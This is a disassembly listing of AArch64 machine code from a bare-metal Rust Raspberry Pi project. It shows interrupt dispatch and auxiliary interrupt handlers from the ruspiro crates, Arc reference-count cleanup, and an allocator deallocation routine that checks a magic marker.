807f4: 5ac00148 rbit w8, w10
807f8: 52800314 mov w20, #0x18 // #24
807fc: 5ac01108 clz w8, w8
80800: b27ff7ec mov x12, #0x7ffffffffffffffe // #9223372036854775806
80804: 9bb44d0b umaddl x11, w8, w20, x19
80808: f9448569 ldr x9, [x11, #2312]
8080c: eb0c013f cmp x9, x12
80810: 540003e8 b.hi 8088c <__isr_default+0x38c> // b.pmore
80814: 52800035 mov w21, #0x1 // #1
80818: 91242178 add x24, x11, #0x908
8081c: 1ac822ab lsl w11, w21, w8
80820: 0a2b0156 bic w22, w10, w11
80824: 92f00017 mov x23, #0x7fffffffffffffff // #9223372036854775807
80828: 9b144d08 madd x8, x8, x20, x19
8082c: 91000529 add x9, x9, #0x1
80830: f9000309 str x9, [x24]
80834: f9448900 ldr x0, [x8, #2320]
80838: f9448108 ldr x8, [x8, #2304]
8083c: b40000c0 cbz x0, 80854 <__isr_default+0x354>
80840: c85f7c09 ldxr x9, [x0]
80844: 9100052a add x10, x9, #0x1
80848: c80b7c0a stxr w11, x10, [x0]
8084c: 35ffffab cbnz w11, 80840 <__isr_default+0x340>
80850: b7f80429 tbnz x9, #63, 808d4 <__isr_default+0x3d4>
80854: d63f0100 blr x8
80858: f9400308 ldr x8, [x24]
8085c: d1000508 sub x8, x8, #0x1
80860: f9000308 str x8, [x24]
80864: 34000296 cbz w22, 808b4 <__isr_default+0x3b4>
80868: 5ac002c8 rbit w8, w22
8086c: 5ac01108 clz w8, w8
80870: 9bb44d0a umaddl x10, w8, w20, x19
80874: 1ac822a9 lsl w9, w21, w8
80878: 0a2902d6 bic w22, w22, w9
8087c: 91242158 add x24, x10, #0x908
80880: f9448549 ldr x9, [x10, #2312]
80884: eb17013f cmp x9, x23
80888: 54fffd03 b.cc 80828 <__isr_default+0x328> // b.lo, b.ul, b.last
8088c: b0000020 adrp x0, 85000 <__exception_handler_default>
80890: f0000023 adrp x3, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80894: f0000024 adrp x4, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80898: 91274000 add x0, x0, #0x9d0
8089c: 9101e063 add x3, x3, #0x78
808a0: 9103a084 add x4, x4, #0xe8
808a4: 9100a3e2 add x2, sp, #0x28
808a8: 52800301 mov w1, #0x18 // #24
808ac: 940004e9 bl 81c50 <_ZN4core6result13unwrap_failed17hc96e1f395f9c9207E>
808b0: d4200020 brk #0x1
808b4: a9484ff4 ldp x20, x19, [sp, #128]
808b8: a94757f6 ldp x22, x21, [sp, #112]
808bc: a9465ff8 ldp x24, x23, [sp, #96]
808c0: a94567fa ldp x26, x25, [sp, #80]
808c4: a9446ffc ldp x28, x27, [sp, #64]
808c8: a9437bfd ldp x29, x30, [sp, #48]
808cc: 910243ff add sp, sp, #0x90
808d0: d65f03c0 ret
808d4: d4200020 brk #0x1
808d8: d4200020 brk #0x1
808dc: 00000000 .inst 0x00000000 ; undefined
00000000000808e0 <__irq_handler_Default>:
808e0: a9bf03fe stp x30, x0, [sp, #-16]!
808e4: b4000120 cbz x0, 80908 <__irq_handler_Default+0x28>
808e8: c85f7c08 ldxr x8, [x0]
808ec: f1000508 subs x8, x8, #0x1
808f0: c809fc08 stlxr w9, x8, [x0]
808f4: 35ffffa9 cbnz w9, 808e8 <__irq_handler_Default+0x8>
808f8: 54000081 b.ne 80908 <__irq_handler_Default+0x28> // b.any
808fc: 910023e0 add x0, sp, #0x8
80900: d50339bf dmb ishld
80904: 940000bf bl 80c00 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E>
80908: f84107fe ldr x30, [sp], #16
8090c: d65f03c0 ret
0000000000080910 <_ZN17ruspiro_interrupt9interface8activate17h19c53e70a7655767E>:
80910: b000002a adrp x10, 85000 <__exception_handler_default>
80914: d3451c09 ubfx x9, x0, #5, #3
80918: 9129f94a add x10, x10, #0xa7e
8091c: 52800028 mov w8, #0x1 // #1
80920: 1ac02108 lsl w8, w8, w0
80924: 1000008b adr x11, 80934 <_ZN17ruspiro_interrupt9interface8activate17h19c53e70a7655767E+0x24>
80928: 3869694c ldrb w12, [x10, x9]
8092c: 8b0c096b add x11, x11, x12, lsl #2
80930: d61f0160 br x11
80934: b0000029 adrp x9, 85000 <__exception_handler_default>
80938: f944bd29 ldr x9, [x9, #2424]
8093c: b9000128 str w8, [x9]
80940: d65f03c0 ret
80944: b0000029 adrp x9, 85000 <__exception_handler_default>
80948: f944a529 ldr x9, [x9, #2376]
8094c: b9000128 str w8, [x9]
80950: d65f03c0 ret
80954: b0000029 adrp x9, 85000 <__exception_handler_default>
80958: f9447d29 ldr x9, [x9, #2296]
8095c: b9000128 str w8, [x9]
80960: d65f03c0 ret
80964: 12001808 and w8, w0, #0x7f
80968: 51018108 sub w8, w8, #0x60
8096c: 71002d1f cmp w8, #0xb
80970: 540004e8 b.hi 80a0c <_ZN17ruspiro_interrupt9interface8activate17h19c53e70a7655767E+0xfc> // b.pmore
80974: b0000029 adrp x9, 85000 <__exception_handler_default>
80978: 912a0929 add x9, x9, #0xa82
8097c: 1000008a adr x10, 8098c <_ZN17ruspiro_interrupt9interface8activate17h19c53e70a7655767E+0x7c>
80980: 3868692b ldrb w11, [x9, x8]
80984: 8b0b094a add x10, x10, x11, lsl #2
80988: d61f0140 br x10
8098c: b0000028 adrp x8, 85000 <__exception_handler_default>
80990: f9446108 ldr x8, [x8, #2240]
80994: b9400109 ldr w9, [x8]
80998: 32000129 orr w9, w9, #0x1
8099c: 1400001b b 80a08 <_ZN17ruspiro_interrupt9interface8activate17h19c53e70a7655767E+0xf8>
809a0: b0000028 adrp x8, 85000 <__exception_handler_default>
809a4: f9446108 ldr x8, [x8, #2240]
809a8: b9400109 ldr w9, [x8]
809ac: 321f0129 orr w9, w9, #0x2
809b0: 14000016 b 80a08 <_ZN17ruspiro_interrupt9interface8activate17h19c53e70a7655767E+0xf8>
809b4: b0000028 adrp x8, 85000 <__exception_handler_default>
809b8: f9446108 ldr x8, [x8, #2240]
809bc: b9400109 ldr w9, [x8]
809c0: 321e0129 orr w9, w9, #0x4
809c4: 14000011 b 80a08 <_ZN17ruspiro_interrupt9interface8activate17h19c53e70a7655767E+0xf8>
809c8: b0000028 adrp x8, 85000 <__exception_handler_default>
809cc: f9446108 ldr x8, [x8, #2240]
809d0: 1400000c b 80a00 <_ZN17ruspiro_interrupt9interface8activate17h19c53e70a7655767E+0xf0>
809d4: b0000028 adrp x8, 85000 <__exception_handler_default>
809d8: f944a908 ldr x8, [x8, #2384]
809dc: 14000009 b 80a00 <_ZN17ruspiro_interrupt9interface8activate17h19c53e70a7655767E+0xf0>
809e0: b0000028 adrp x8, 85000 <__exception_handler_default>
809e4: f9448108 ldr x8, [x8, #2304]
809e8: 14000006 b 80a00 <_ZN17ruspiro_interrupt9interface8activate17h19c53e70a7655767E+0xf0>
809ec: b0000028 adrp x8, 85000 <__exception_handler_default>
809f0: f944b108 ldr x8, [x8, #2400]
809f4: 14000003 b 80a00 <_ZN17ruspiro_interrupt9interface8activate17h19c53e70a7655767E+0xf0>
809f8: b0000028 adrp x8, 85000 <__exception_handler_default>
809fc: f9449908 ldr x8, [x8, #2352]
80a00: b9400109 ldr w9, [x8]
80a04: 321d0129 orr w9, w9, #0x8
80a08: b9000109 str w9, [x8]
80a0c: d65f03c0 ret
80a10: b0000028 adrp x8, 85000 <__exception_handler_default>
80a14: f944b908 ldr x8, [x8, #2416]
80a18: b9400109 ldr w9, [x8]
80a1c: 32030129 orr w9, w9, #0x20000000
80a20: 17fffffa b 80a08 <_ZN17ruspiro_interrupt9interface8activate17h19c53e70a7655767E+0xf8>
...
0000000000080a30 <_ZN4core3ptr47drop_in_place$LT$core..cell..BorrowMutError$GT$17h8a103761656e6b5fE.llvm.4895383513194605257>:
80a30: d65f03c0 ret
...
0000000000080a40 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE>:
80a40: d100c3ff sub sp, sp, #0x30
80a44: b0000028 adrp x8, 85000 <__exception_handler_default>
80a48: a9024ff4 stp x20, x19, [sp, #32]
80a4c: a900fbe0 stp x0, x30, [sp, #8]
80a50: aa0003f3 mov x19, x0
80a54: f9449114 ldr x20, [x8, #2336]
80a58: b9400288 ldr w8, [x20]
80a5c: 360002a8 tbz w8, #0, 80ab0 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x70>
80a60: d0000028 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
80a64: 92f0000a mov x10, #0x7fffffffffffffff // #9223372036854775807
80a68: f9478509 ldr x9, [x8, #3848]
80a6c: eb0a013f cmp x9, x10
80a70: 54000962 b.cs 80b9c <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x15c> // b.hs, b.nlast
80a74: d000002a adrp x10, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
80a78: 91000529 add x9, x9, #0x1
80a7c: 913c214a add x10, x10, #0xf08
80a80: f9400540 ldr x0, [x10, #8]
80a84: f9000149 str x9, [x10]
80a88: b40000e0 cbz x0, 80aa4 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x64>
80a8c: c85f7c09 ldxr x9, [x0]
80a90: 9100052a add x10, x9, #0x1
80a94: c80b7c0a stxr w11, x10, [x0]
80a98: 35ffffab cbnz w11, 80a8c <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x4c>
80a9c: b7f807c9 tbnz x9, #63, 80b94 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x154>
80aa0: f9478509 ldr x9, [x8, #3848]
80aa4: d1000529 sub x9, x9, #0x1
80aa8: f9078509 str x9, [x8, #3848]
80aac: 97ffff8d bl 808e0 <__irq_handler_Default>
80ab0: b9400288 ldr w8, [x20]
80ab4: 360802a8 tbz w8, #1, 80b08 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0xc8>
80ab8: d0000028 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
80abc: 92f0000a mov x10, #0x7fffffffffffffff // #9223372036854775807
80ac0: f9478d09 ldr x9, [x8, #3864]
80ac4: eb0a013f cmp x9, x10
80ac8: 54000782 b.cs 80bb8 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x178> // b.hs, b.nlast
80acc: d000002a adrp x10, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
80ad0: 91000529 add x9, x9, #0x1
80ad4: 913c614a add x10, x10, #0xf18
80ad8: f9400540 ldr x0, [x10, #8]
80adc: f9000149 str x9, [x10]
80ae0: b40000e0 cbz x0, 80afc <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0xbc>
80ae4: c85f7c09 ldxr x9, [x0]
80ae8: 9100052a add x10, x9, #0x1
80aec: c80b7c0a stxr w11, x10, [x0]
80af0: 35ffffab cbnz w11, 80ae4 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0xa4>
80af4: b7f80509 tbnz x9, #63, 80b94 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x154>
80af8: f9478d09 ldr x9, [x8, #3864]
80afc: d1000529 sub x9, x9, #0x1
80b00: f9078d09 str x9, [x8, #3864]
80b04: 97ffff77 bl 808e0 <__irq_handler_Default>
80b08: b9400288 ldr w8, [x20]
80b0c: 361002a8 tbz w8, #2, 80b60 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x120>
80b10: d0000028 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
80b14: 92f0000a mov x10, #0x7fffffffffffffff // #9223372036854775807
80b18: f9479509 ldr x9, [x8, #3880]
80b1c: eb0a013f cmp x9, x10
80b20: 540005a2 b.cs 80bd4 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x194> // b.hs, b.nlast
80b24: d000002a adrp x10, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
80b28: 91000529 add x9, x9, #0x1
80b2c: 913ca14a add x10, x10, #0xf28
80b30: f9400540 ldr x0, [x10, #8]
80b34: f9000149 str x9, [x10]
80b38: b40000e0 cbz x0, 80b54 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x114>
80b3c: c85f7c09 ldxr x9, [x0]
80b40: 9100052a add x10, x9, #0x1
80b44: c80b7c0a stxr w11, x10, [x0]
80b48: 35ffffab cbnz w11, 80b3c <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0xfc>
80b4c: b7f80249 tbnz x9, #63, 80b94 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x154>
80b50: f9479509 ldr x9, [x8, #3880]
80b54: d1000529 sub x9, x9, #0x1
80b58: f9079509 str x9, [x8, #3880]
80b5c: 97ffff61 bl 808e0 <__irq_handler_Default>
80b60: b4000133 cbz x19, 80b84 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x144>
80b64: c85f7e68 ldxr x8, [x19]
80b68: f1000508 subs x8, x8, #0x1
80b6c: c809fe68 stlxr w9, x8, [x19]
80b70: 35ffffa9 cbnz w9, 80b64 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x124>
80b74: 54000081 b.ne 80b84 <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x144> // b.any
80b78: 910023e0 add x0, sp, #0x8
80b7c: d50339bf dmb ishld
80b80: 94000020 bl 80c00 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E>
80b84: a9424ff4 ldp x20, x19, [sp, #32]
80b88: f9400bfe ldr x30, [sp, #16]
80b8c: 9100c3ff add sp, sp, #0x30
80b90: d65f03c0 ret
80b94: d4200020 brk #0x1
80b98: d4200020 brk #0x1
80b9c: b0000020 adrp x0, 85000 <__exception_handler_default>
80ba0: f0000023 adrp x3, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80ba4: f0000024 adrp x4, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80ba8: 912a3800 add x0, x0, #0xa8e
80bac: 91340063 add x3, x3, #0xd00
80bb0: 91348084 add x4, x4, #0xd20
80bb4: 1400000e b 80bec <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x1ac>
80bb8: b0000020 adrp x0, 85000 <__exception_handler_default>
80bbc: f0000023 adrp x3, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80bc0: f0000024 adrp x4, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80bc4: 912a3800 add x0, x0, #0xa8e
80bc8: 91340063 add x3, x3, #0xd00
80bcc: 9134e084 add x4, x4, #0xd38
80bd0: 14000007 b 80bec <_ZN17ruspiro_interrupt10auxhandler11aux_handler17h73dfb633eb915ecfE+0x1ac>
80bd4: b0000020 adrp x0, 85000 <__exception_handler_default>
80bd8: f0000023 adrp x3, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80bdc: f0000024 adrp x4, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80be0: 912a3800 add x0, x0, #0xa8e
80be4: 91340063 add x3, x3, #0xd00
80be8: 91354084 add x4, x4, #0xd50
80bec: 910063e2 add x2, sp, #0x18
80bf0: 52800301 mov w1, #0x18 // #24
80bf4: 94000417 bl 81c50 <_ZN4core6result13unwrap_failed17hc96e1f395f9c9207E>
80bf8: d4200020 brk #0x1
80bfc: 00000000 .inst 0x00000000 ; undefined
0000000000080c00 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E>:
80c00: a9bd5ffe stp x30, x23, [sp, #-48]!
80c04: a9024ff4 stp x20, x19, [sp, #32]
80c08: f9400013 ldr x19, [x0]
80c0c: a90157f6 stp x22, x21, [sp, #16]
80c10: d5033fbf dmb sy
80c14: 91004275 add x21, x19, #0x10
80c18: 91006276 add x22, x19, #0x18
80c1c: c85ffec0 ldaxr x0, [x22]
80c20: c808fedf stlxr w8, xzr, [x22]
80c24: 35ffffc8 cbnz w8, 80c1c <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0x1c>
80c28: d5033f9f dsb sy
80c2c: b4000520 cbz x0, 80cd0 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0xd0>
80c30: c85ffea8 ldaxr x8, [x21]
80c34: eb00011f cmp x8, x0
80c38: 540000e1 b.ne 80c54 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0x54> // b.any
80c3c: c808febf stlxr w8, xzr, [x21]
80c40: 35ffff88 cbnz w8, 80c30 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0x30>
80c44: d5033f9f dsb sy
80c48: c8dffc08 ldar x8, [x0]
80c4c: b50000c8 cbnz x8, 80c64 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0x64>
80c50: 1400000c b 80c80 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0x80>
80c54: d5033f5f clrex
80c58: d5033f9f dsb sy
80c5c: c8dffc08 ldar x8, [x0]
80c60: b4000108 cbz x8, 80c80 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0x80>
80c64: c85ffec9 ldaxr x9, [x22]
80c68: b5000089 cbnz x9, 80c78 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0x78>
80c6c: c809fec8 stlxr w9, x8, [x22]
80c70: 35ffffa9 cbnz w9, 80c64 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0x64>
80c74: 14000002 b 80c7c <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0x7c>
80c78: d5033f5f clrex
80c7c: d5033f9f dsb sy
80c80: f9400414 ldr x20, [x0, #8]
80c84: b40004f4 cbz x20, 80d20 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0x120>
80c88: f9400817 ldr x23, [x0, #16]
80c8c: 52800401 mov w1, #0x20 // #32
80c90: 52800202 mov w2, #0x10 // #16
80c94: 97fffda3 bl 80320 <__rust_dealloc>
80c98: f94002e8 ldr x8, [x23]
80c9c: aa1403e0 mov x0, x20
80ca0: d63f0100 blr x8
80ca4: f94006e1 ldr x1, [x23, #8]
80ca8: b4000081 cbz x1, 80cb8 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0xb8>
80cac: f9400ae2 ldr x2, [x23, #16]
80cb0: aa1403e0 mov x0, x20
80cb4: 97fffd9b bl 80320 <__rust_dealloc>
80cb8: d5033fbf dmb sy
80cbc: c85ffec0 ldaxr x0, [x22]
80cc0: c808fedf stlxr w8, xzr, [x22]
80cc4: 35ffffc8 cbnz w8, 80cbc <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0xbc>
80cc8: d5033f9f dsb sy
80ccc: b5fffb20 cbnz x0, 80c30 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0x30>
80cd0: b100067f cmn x19, #0x1
80cd4: 540001e0 b.eq 80d10 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0x110> // b.none
80cd8: 91002268 add x8, x19, #0x8
80cdc: c85f7d09 ldxr x9, [x8]
80ce0: f1000529 subs x9, x9, #0x1
80ce4: c80afd09 stlxr w10, x9, [x8]
80ce8: 35ffffaa cbnz w10, 80cdc <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0xdc>
80cec: 54000121 b.ne 80d10 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E+0x110> // b.any
80cf0: d50339bf dmb ishld
80cf4: aa1303e0 mov x0, x19
80cf8: a9424ff4 ldp x20, x19, [sp, #32]
80cfc: 52800401 mov w1, #0x20 // #32
80d00: 52800102 mov w2, #0x8 // #8
80d04: a94157f6 ldp x22, x21, [sp, #16]
80d08: a8c35ffe ldp x30, x23, [sp], #48
80d0c: 17fffd85 b 80320 <__rust_dealloc>
80d10: a9424ff4 ldp x20, x19, [sp, #32]
80d14: a94157f6 ldp x22, x21, [sp, #16]
80d18: a8c35ffe ldp x30, x23, [sp], #48
80d1c: d65f03c0 ret
80d20: b0000020 adrp x0, 85000 <__exception_handler_default>
80d24: f0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80d28: 912dd000 add x0, x0, #0xb74
80d2c: 52800561 mov w1, #0x2b // #43
80d30: 9135a042 add x2, x2, #0xd68
80d34: 9400055f bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
80d38: d4200020 brk #0x1
80d3c: 00000000 .inst 0x00000000 ; undefined
0000000000080d40 <__rg_dealloc>:
80d40: f85f8008 ldur x8, [x0, #-8]
80d44: 5297dde9 mov w9, #0xbeef // #48879
80d48: 72bbd5a9 movk w9, #0xdead, lsl #16
80d4c: 39400d0a ldrb w10, [x8, #3]
80d50: 3940090b ldrb w11, [x8, #2]
80d54: 3940050c ldrb w12, [x8, #1]
80d58: 3940010d ldrb w13, [x8]
80d5c: 33181d4b bfi w11, w10, #8, #8
80d60: 33181d8d bfi w13, w12, #8, #8
80d64: 33103d6d bfi w13, w11, #16, #16
80d68: 6b0901bf cmp w13, w9
80d6c: 54000d21 b.ne 80f10 <__rg_dealloc+0x1d0> // b.any
80d70: aa0803e9 mov x9, x8
80d74: 39000d1f strb wzr, [x8, #3]
80d78: 3900091f strb wzr, [x8, #2]
80d7c: 3900051f strb wzr, [x8, #1]
80d80: 3900011f strb wzr, [x8]
80d84: 3840cd2a ldrb w10, [x9, #12]!
80d88: 39400d2b ldrb w11, [x9, #3]
80d8c: 3940092c ldrb w12, [x9, #2]
80d90: 38404d2d ldrb w13, [x9, #4]!
80d94: 39400d2e ldrb w14, [x9, #3]
80d98: 39400929 ldrb w9, [x9, #2]
80d9c: 3940450f ldrb w15, [x8, #17]
80da0: b3781d6c bfi x12, x11, #8, #8
80da4: 33181dc9 bfi w9, w14, #8, #8
80da8: 3940350e ldrb w14, [x8, #13]
80dac: 33181ded bfi w13, w15, #8, #8
80db0: 33103d2d bfi w13, w9, #16, #16
80db4: b3781dca bfi x10, x14, #8, #8
80db8: b3703d8a bfi x10, x12, #16, #16
80dbc: b3607daa bfi x10, x13, #32, #32
80dc0: 8b080149 add x9, x10, x8
80dc4: d000002a adrp x10, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
80dc8: 913ce14a add x10, x10, #0xf38
80dcc: c85ffd4b ldaxr x11, [x10]
80dd0: eb09017f cmp x11, x9
80dd4: 54000081 b.ne 80de4 <__rg_dealloc+0xa4> // b.any
80dd8: c80bfd48 stlxr w11, x8, [x10]
80ddc: 35ffff8b cbnz w11, 80dcc <__rg_dealloc+0x8c>
80de0: d65f03c0 ret
80de4: aa0803e9 mov x9, x8
80de8: d5033f5f clrex
80dec: 38404d20 ldrb w0, [x9, #4]!
80df0: aa0903ea mov x10, x9
80df4: 39400d2e ldrb w14, [x9, #3]
80df8: 3940092f ldrb w15, [x9, #2]
80dfc: 3940152d ldrb w13, [x9, #5]
80e00: 38404d4b ldrb w11, [x10, #4]!
80e04: 39400d4c ldrb w12, [x10, #3]
80e08: 3940094a ldrb w10, [x10, #2]
80e0c: b3781dcf bfi x15, x14, #8, #8
80e10: 39400529 ldrb w9, [x9, #1]
80e14: 33181dab bfi w11, w13, #8, #8
80e18: 33181d8a bfi w10, w12, #8, #8
80e1c: b3781d20 bfi x0, x9, #8, #8
80e20: 33103d4b bfi w11, w10, #16, #16
80e24: b3703de0 bfi x0, x15, #16, #16
80e28: b3607d60 bfi x0, x11, #32, #32
80e2c: f100441f cmp x0, #0x11
80e30: 540007e2 b.cs 80f2c <__rg_dealloc+0x1ec> // b.hs, b.nlast
80e34: d0000029 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
80e38: 913d0129 add x9, x9, #0xf40
80e3c: 8b001129 add x9, x9, x0, lsl #4
80e40: 91002129 add x9, x9, #0x8
80e44: c8dffd29 ldar x9, [x9]
80e48: 38024d1f strb wzr, [x8, #36]!
80e4c: aa0803ea mov x10, x8
80e50: 3900151f strb wzr, [x8, #5]
80e54: 39000d1f strb wzr, [x8, #3]
80e58: d368fd2b lsr x11, x9, #40
80e5c: d358fd2c lsr x12, x9, #24
80e60: 381f8d49 strb w9, [x10, #-8]!
80e64: d350fd2d lsr x13, x9, #16
80e68: d348fd2e lsr x14, x9, #8
80e6c: 381fd10b sturb w11, [x8, #-3]
80e70: d360fd2b lsr x11, x9, #32
80e74: 39000d4c strb w12, [x10, #3]
80e78: d378fd2c lsr x12, x9, #56
80e7c: d370fd29 lsr x9, x9, #48
80e80: 3900094d strb w13, [x10, #2]
80e84: 38004d4b strb w11, [x10, #4]!
80e88: 39000949 strb w9, [x10, #2]
80e8c: aa0803e9 mov x9, x8
80e90: 39000d4c strb w12, [x10, #3]
80e94: aa0803ea mov x10, x8
80e98: 381f910e sturb w14, [x8, #-7]
80e9c: 3900091f strb wzr, [x8, #2]
80ea0: 38004d3f strb wzr, [x9, #4]!
80ea4: 3900051f strb wzr, [x8, #1]
80ea8: 39000d3f strb wzr, [x9, #3]
80eac: 3900093f strb wzr, [x9, #2]
80eb0: 385e0d40 ldrb w0, [x10, #-32]!
80eb4: 39400d49 ldrb w9, [x10, #3]
80eb8: 3940094b ldrb w11, [x10, #2]
80ebc: 38404d4c ldrb w12, [x10, #4]!
80ec0: 39400d4d ldrb w13, [x10, #3]
80ec4: 3940094a ldrb w10, [x10, #2]
80ec8: 385e510e ldurb w14, [x8, #-27]
80ecc: b3781d2b bfi x11, x9, #8, #8
80ed0: 385e1108 ldurb w8, [x8, #-31]
80ed4: 33181daa bfi w10, w13, #8, #8
80ed8: 33181dcc bfi w12, w14, #8, #8
80edc: b3781d00 bfi x0, x8, #8, #8
80ee0: 33103d4c bfi w12, w10, #16, #16
80ee4: b3703d60 bfi x0, x11, #16, #16
80ee8: b3607d80 bfi x0, x12, #32, #32
80eec: f100441f cmp x0, #0x11
80ef0: 54000282 b.cs 80f40 <__rg_dealloc+0x200> // b.hs, b.nlast
80ef4: b0000020 adrp x0, 85000 <__exception_handler_default>
80ef8: f0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80efc: 91305000 add x0, x0, #0xc14
80f00: 52800681 mov w1, #0x34 // #52
80f04: 91360042 add x2, x2, #0xd80
80f08: 940004ea bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
80f0c: d4200020 brk #0x1
80f10: b0000020 adrp x0, 85000 <__exception_handler_default>
80f14: f0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80f18: 9132b000 add x0, x0, #0xcac
80f1c: 528005c1 mov w1, #0x2e // #46
80f20: 91366042 add x2, x2, #0xd98
80f24: 940004e3 bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
80f28: d4200020 brk #0x1
80f2c: f0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80f30: 52800221 mov w1, #0x11 // #17
80f34: 9136c042 add x2, x2, #0xdb0
80f38: 940004ee bl 822f0 <_ZN4core9panicking18panic_bounds_check17h7e98c39e5d454fafE>
80f3c: d4200020 brk #0x1
80f40: f0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80f44: 52800221 mov w1, #0x11 // #17
80f48: 91372042 add x2, x2, #0xdc8
80f4c: 940004e9 bl 822f0 <_ZN4core9panicking18panic_bounds_check17h7e98c39e5d454fafE>
80f50: d4200020 brk #0x1
...
